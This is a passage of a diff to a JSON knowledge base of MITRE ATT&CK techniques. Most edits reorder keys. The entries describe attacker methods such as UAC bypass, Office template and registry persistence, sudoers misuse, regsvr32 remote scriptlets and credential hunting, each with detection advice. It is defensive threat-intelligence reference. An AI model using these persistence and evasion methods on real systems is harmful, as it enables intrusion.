"System calls",
@@ -2517,7 +2522,15 @@
"Authentication logs",
"Process command-line parameters"
],
- "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
+ "mitre_platforms": [
+ "Windows Server 2012",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1088",
"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
@@ -2531,31 +2544,17 @@
"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
],
- "mitre_platforms": [
- "Windows Server 2012",
- "Windows 7",
- "Windows 8",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be"
+ },
+ "value": "Bypass User Account Control"
},
{
"description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system.[[Citation: TechNet Logon Scripts]] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root[[Citation: creating login hook]]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring",
- "value": "Logon Scripts",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
],
- "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1037",
- "https://support.apple.com/de-at/HT2420",
- "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2571,12 +2570,18 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1037",
+ "https://support.apple.com/de-at/HT2420",
+ "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
+ ],
+ "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334"
+ },
+ "value": "Logon Scripts"
},
{
"description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.[[Citation: Trend Micro APT Attack Tools]]\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nContributors: Walker Johnson",
- "value": "Connection Proxy",
"meta": {
"mitre_data_sources": [
"Process use of network",
@@ -2584,12 +2589,6 @@
"Netflow/Enclave netflow",
"Packet capture"
],
- "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1090",
- "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2606,31 +2605,37 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1090",
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea"
+ },
+ "value": "Connection Proxy"
},
{
"description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL[[Citation: OSX.Dok Malware]]. \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: root",
- "value": "Sudo",
"meta": {
"mitre_data_sources": [
"File monitoring"
],
- "uuid": "809ff990-982f-4997-8570-a6f516e8fede",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1169",
- "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1169",
+ "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
+ ],
+ "uuid": "809ff990-982f-4997-8570-a6f516e8fede"
+ },
+ "value": "Sudo"
},
{
"description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.[[Citation: Microsoft Change Normal Template]]\n\nOffice Visual Basic for Applications (VBA) macros[[Citation: MSDN VBA in Office]] can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.[[Citation: enigma0x3 normal.dotm]][[Citation: Hexacorn Office Template Macros]]\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started[[Citation: Hexacorn Office Test]]\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs.[[Citation: Microsoft Office Add-ins]]\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows XP, Windows Vista\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nContributors: Loic Jaquemet, Ricardo Dias",
- "value": "Office Application Startup",
"meta": {
"mitre_data_sources": [
"Process monitoring",
@@ -2638,17 +2643,6 @@
"Windows Registry",
"File monitoring"
],
- "uuid": "8f1a2752-6bf6-46de-8ad1-7455214da405",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1137",
- "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
- "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
- "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
- "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
- "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
- "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
- "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
- ],
"mitre_platforms": [
"Windows 10",
"Windows Server 2012",
@@ -2659,12 +2653,23 @@
"Windows 8.1",
"Windows XP",
"Windows Vista"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1137",
+ "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
+ "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
+ "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
+ "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
+ "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
+ "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
+ "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
+ ],
+ "uuid": "8f1a2752-6bf6-46de-8ad1-7455214da405"
+ },
+ "value": "Office Application Startup"
},
{
"description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.[[Citation: Microsoft Regsvr32]]\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.[[Citation: SubTee Regsvr32 Whitelisting Bypass]] This variation of the technique has been used in campaigns targeting governments.[[Citation: FireEye Regsvr32 Targeting Mongolian Gov]]\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters\n\nContributors: Casey Smith",
- "value": "Regsvr32",
"meta": {
"mitre_data_sources": [
"Loaded DLLs",
@@ -2672,13 +2677,6 @@
"Windows Registry",
"Process command-line parameters"
],
- "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1117",
- "https://support.microsoft.com/en-us/kb/249873",
- "https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html",
- "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2692,23 +2690,25 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1117",
+ "https://support.microsoft.com/en-us/kb/249873",
+ "https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html",
+ "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html"
+ ],
+ "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a"
+ },
+ "value": "Regsvr32"
},
{
"description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree.Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "File and Directory Discovery",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1083",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2725,12 +2725,17 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1083",
+ "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+ ],
+ "uuid": "7bc57495-ea59-4380-be31-a64af124ef18"
+ },
+ "value": "File and Directory Discovery"
},
{
"description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring",
- "value": "Commonly Used Port",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -2738,11 +2743,6 @@
"Process use of network",
"Process monitoring"
],
- "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1043",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2759,12 +2759,17 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1043",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e"
+ },
+ "value": "Commonly Used Port"
},
{
"description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.[[Citation: Wikipedia Binary-to-text Encoding]][[Citation: Wikipedia Character Encoding]] Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Data Encoding",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -2772,46 +2777,40 @@
"Process Monitoring",
"Network protocol analysis"
],
- "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Linux",
+ "Windows 10",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1132",
"https://en.wikipedia.org/wiki/Character%20encoding",
"https://en.wikipedia.org/wiki/Binary-to-text%20encoding",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Linux",
- "Windows 10",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f"
+ },
+ "value": "Data Encoding"
},
{
"description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping.Valid Accounts for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters",
- "value": "Credentials in Files",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters"
],
- "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1081",
- "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
- "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2828,12 +2827,18 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1081",
+ "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
+ "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
+ ],
+ "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c"
+ },
+ "value": "Credentials in Files"
},
{
"description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[[Citation: TechNet PowerShell]] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,[[Citation: Github PowerShell Empire]] PowerSploit,[[Citation: Powersploit]] and PSAttack.[[Citation: Github PSAttack]]\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution.[[Citation: Malware Archaeology PowerShell Cheat Sheet]] PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.[[Citation: FireEye PowerShell Logging 2016]] An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters",
- "value": "PowerShell",
"meta": {
"mitre_data_sources": [
"Windows Registry",
@@ -2841,7 +2846,20 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1086",
"https://github.com/PowerShellEmpire/Empire",
@@ -2851,35 +2869,18 @@
"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
"https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0"
+ },
+ "value": "PowerShell"
},
{
"description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Security Software Discovery",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1063"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2895,32 +2896,36 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1063"
+ ],
+ "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7"
+ },
+ "value": "Security Software Discovery"
},
{
"description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters",
- "value": "Trap",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "4e0157fe-5e38-4f35-a6b1-f0c43d2e9f62",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1154"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1154"
+ ],
+ "uuid": "4e0157fe-5e38-4f35-a6b1-f0c43d2e9f62"
+ },
+ "value": "Trap"
},
{
"description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters",
- "value": "Modify Existing Service",
"meta": {
"mitre_data_sources": [
"Windows Registry",
@@ -2928,11 +2933,6 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1031",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2946,12 +2946,17 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1031",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ ],
+ "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b"
+ },
+ "value": "Modify Existing Service"
},
{
"description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.[[Citation: SANS Decrypting SSL]] SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.[[Citation: SEI SSL Inspection Risks]]\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows 